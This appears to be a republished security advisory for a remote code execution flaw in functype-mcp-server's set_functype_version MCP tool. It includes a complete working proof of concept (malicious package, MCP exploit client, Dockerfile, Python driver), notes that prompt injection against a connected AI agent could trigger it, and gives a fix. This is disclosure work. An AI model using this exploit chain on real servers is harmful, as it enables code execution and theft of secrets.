functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
별도 긴급 패치 불필요 — 정기 시스템 업그레이드 주기에 맞춰 조치
CVSS 벡터 · 메트릭
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H상세 설명
MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import
Summary
The set_functype_version MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@<version>), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).
Details
The vulnerable code is in packages/mcp-server/src/index.ts. The set_functype_version tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).
Source (user input accepted without validation):
1// packages/mcp-server/src/index.ts:119-121 2parameters: z.object({ 3 version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'), 4}),Only z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.
Sink 1 — arbitrary package installation:
1// packages/mcp-server/src/index.ts:122-125 2execute: async (args) => { 3 const spec = `functype@${args.version}` 4 try { 5 execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.
Sink 2 — dynamic import executes installed package code:
1// packages/mcp-server/src/lib/docs/data.ts:23-30 2if (force) { 3 const resolvedPath = require.resolve("functype/cli") 4 cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`) 5}initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.
Data flow summary:
index.ts:115— MCP toolset_functype_versionregistered, no auth required.index.ts:119-121—versionaccepted as rawz.string()(source).index.ts:123—functype@${args.version}constructed without sanitization.index.ts:125—execFileSync("pnpm", ["add", spec], ...)installs attacker-controlled package (sink: arbitrary install).index.ts:134—initDocsData(true)called immediately.data.ts:29-30—require.resolve("functype/cli")+ dynamicimport()executes attacker module (sink: RCE).
PoC
Step 1 — Prepare the attacker-controlled evil package:
1mkdir -p /tmp/evil 2cat > /tmp/evil/package.json <<'EOF' 3{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}} 4EOF 5cat > /tmp/evil/cli.js <<'EOF' 6import { writeFileSync } from "node:fs"; 7writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n"); 8export const TYPES = {}; 9export const INTERFACES = {};10export const CATEGORIES = {};11export const FULL_INTERFACES = {};12export const VERSION = "1.0.0";13EOFStep 2 — Clone and build the victim monorepo at the affected version:
1TMP="$(mktemp -d)" 2git clone https://github.com/jordanburke/functype.git "$TMP/functype" 3cd "$TMP/functype" 4git checkout v1.4.3 5corepack enable 6pnpm install --frozen-lockfile 7pnpm -F functype build 8pnpm -F functype-mcp-server buildStep 3 — Set up an MCP client to deliver the exploit:
1cd "$TMP" 2npm init -y 3npm pkg set type=module 4npm install @modelcontextprotocol/sdk 5 6cat > exploit.mjs <<'EOF' 7import { Client } from "@modelcontextprotocol/sdk/client/index.js"; 8import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js"; 9 10const client = new Client({ name: "poc", version: "1.0.0" });11const transport = new StdioClientTransport({12 command: "node",13 args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],14 env: { ...process.env, TRANSPORT_TYPE: "stdio" },15});16 17await client.connect(transport);18const result = await client.callTool({19 name: "set_functype_version",20 arguments: { version: "file:/tmp/evil" },21});22console.log(result);23await client.close();24EOF25 26REPO="$TMP/functype" node exploit.mjsStep 4 — Verify arbitrary code execution:
1cat /pwned.txt 2# Expected output: RCE: mcp import-time code execution via set_functype_versionDynamic reproduction (Docker):
The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.
1[poc] EXPLOIT SUCCEEDED: /pwned.txt exists 2[poc] File contents: RCE: mcp import-time code execution via set_functype_version 3[evil-payload] Arbitrary code executed via functype/cli dynamic importRecommended remediation:
1+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/ 2+ 3+const isSafeFunctypeVersion = (version: string): boolean => { 4+ const trimmed = version.trim() 5+ return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed) 6+} 7 8 execute: async (args) => { 9- const spec = `functype@${args.version}`10+ if (!isSafeFunctypeVersion(args.version)) {11+ return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."12+ }13+ const spec = `functype@${args.version}`14 try {15- execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })16+ execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })Impact
This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the set_functype_version tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.
Who is impacted:
- Developers and teams running
functype-mcp-server(version 1.4.3) in their local or CI environments as an AI coding assistant integration. - Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a
set_functype_versioncall with afile:ornpm:alias payload. - In non-default
TRANSPORT_TYPE=httpStreamdeployments, network-accessible attackers can exploit this without local access.
The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.
Reproduction artifacts
Dockerfile
1# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE 2# 3# Build context: reports/npmAI_684_jordanburke__functype/ 4# COPY repo/ -> /workspace/functype/ (victim monorepo) 5# COPY vuln-001/ -> supporting PoC files 6# 7# Build: docker build -t vuln001-functype-rce -f vuln-001/Dockerfile . 8# Run: docker run --rm vuln001-functype-rce 9#10# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.11 12FROM node:24-slim13 14# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).15RUN npm install -g pnpm@11.7.0 --quiet16 17# ── Victim workspace ──────────────────────────────────────────────────────────18WORKDIR /workspace/functype19COPY repo/ ./20 21# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches22# caused by running on a different pnpm minor than the one that generated the23# lockfile; the installed versions are still constrained by the lockfile24# specifiers for the packages we care about.25RUN pnpm install --no-frozen-lockfile26 27# Build functype first (mcp-server externals functype at build time).28RUN pnpm -F functype build29 30# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).31RUN pnpm -F functype-mcp-server build32 33# ── Attacker-controlled evil package ─────────────────────────────────────────34# /evil/cli.js writes /pwned.txt when dynamically imported.35COPY vuln-001/evil/ /evil/36 37# ── MCP exploit client ────────────────────────────────────────────────────────38WORKDIR /client39RUN npm init -y --quiet && \40 npm pkg set type=module && \41 npm install @modelcontextprotocol/sdk@1.29.0 --quiet42COPY vuln-001/client/exploit.mjs ./exploit.mjs43 44# Default entrypoint: run the exploit and exit 0 on success.45CMD ["node", "/client/exploit.mjs"]poc.py
1#!/usr/bin/env python3 2""" 3PoC driver for VULN-001: MCP set_functype_version Package Alias RCE 4via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High). 5 6Attack chain: 7 1. Attacker calls MCP tool set_functype_version with version="file:/evil" 8 2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...) 9 3. Evil package is installed as the functype alias in mcp-server's node_modules10 4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it11 5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)12 13Usage:14 python3 poc.py [--build-only]15 16Requirements:17 - Docker daemon running18 - Build context at parent directory of this file's directory19"""20 21import subprocess22import sys23import json24import os25import argparse26 27VULN_DIR = os.path.dirname(os.path.abspath(__file__))28REPORT_DIR = os.path.dirname(VULN_DIR)29IMAGE_NAME = "vuln001-functype-rce"30DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")31RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")32 33BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]34RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]35 36 37def run(cmd, timeout=None, **kwargs):38 """Run a command and return CompletedProcess with combined output."""39 return subprocess.run(40 cmd,41 stdout=subprocess.PIPE,42 stderr=subprocess.PIPE,43 text=True,44 timeout=timeout,45 **kwargs,46 )47 48 49def write_result(passed, verdict, reason, evidence):50 result = {51 "passed": passed,52 "verdict": verdict,53 "reason": reason,54 "build_command": " ".join(BUILD_CMD),55 "run_command": " ".join(RUN_CMD),56 "poc_command": f"python3 {os.path.basename(__file__)}",57 "evidence": evidence,58 "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],59 }60 with open(RESULT_FILE, "w", encoding="utf-8") as f:61 json.dump(result, f, indent=2, ensure_ascii=False)62 print(f"[poc] Result written to {RESULT_FILE}")63 print(f"[poc] verdict={verdict} passed={passed}")64 65 66def main():67 parser = argparse.ArgumentParser(description="VULN-001 PoC driver")68 parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")69 args = parser.parse_args()70 71 # ── Build ─────────────────────────────────────────────────────────────────72 print("[poc] Building Docker image (this may take a few minutes)...")73 print(f"[poc] Build command: {' '.join(BUILD_CMD)}")74 75 try:76 build = run(BUILD_CMD, timeout=900)77 except subprocess.TimeoutExpired:78 msg = "Docker build timed out after 900 seconds"79 print(f"[poc] ERROR: {msg}")80 write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)81 sys.exit(2)82 83 if build.returncode != 0:84 tail = (build.stdout + "\n" + build.stderr)[-3000:]85 print("[poc] Build FAILED:")86 print(tail)87 write_result(88 False,89 "FAIL",90 "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",91 f"BUILD EXIT {build.returncode}\n{tail}",92 )93 sys.exit(1)94 95 print("[poc] Build succeeded.")96 97 if args.build_only:98 print("[poc] --build-only flag set; skipping run.")99 sys.exit(0)100 101 # ── Run ───────────────────────────────────────────────────────────────────102 print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")103 104 try:105 run_result = run(RUN_CMD, timeout=180)106 except subprocess.TimeoutExpired:107 msg = "Container run timed out after 180 seconds"108 print(f"[poc] ERROR: {msg}")109 write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)110 sys.exit(2)111 112 stdout = run_result.stdout or ""113 stderr = run_result.stderr or ""114 combined = stdout + "\n" + stderr115 116 print("=" * 60)117 print("STDOUT:")118 print(stdout)119 print("STDERR:")120 print(stderr)121 print(f"EXIT CODE: {run_result.returncode}")122 print("=" * 60)123 124 # Success criteria: exit 0 AND exploit succeeded message present125 exploit_succeeded = "EXPLOIT SUCCEEDED" in combined126 passed = run_result.returncode == 0 and exploit_succeeded127 128 if passed:129 # Extract key evidence lines130 evidence_lines = [131 line for line in combined.splitlines()132 if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))133 ]134 evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]135 136 write_result(137 True,138 "PASS",139 (140 "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "141 'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '142 "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."143 ),144 evidence,145 )146 print("[poc] === PASS: exploit reproduced ===")147 sys.exit(0)148 149 else:150 # Distinguish failure modes151 if not exploit_succeeded and run_result.returncode == 0:152 verdict = "INCOMPLETE"153 reason = (154 "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "155 "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "156 "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."157 )158 else:159 verdict = "FAIL"160 reason = (161 f"컨테이너 종료 코드 {run_result.returncode}. "162 "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."163 )164 165 write_result(False, verdict, reason, combined[-2000:])166 print(f"[poc] === {verdict}: exploit did not reproduce ===")167 sys.exit(1)168 169 170if __name__ == "__main__":171 main()AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.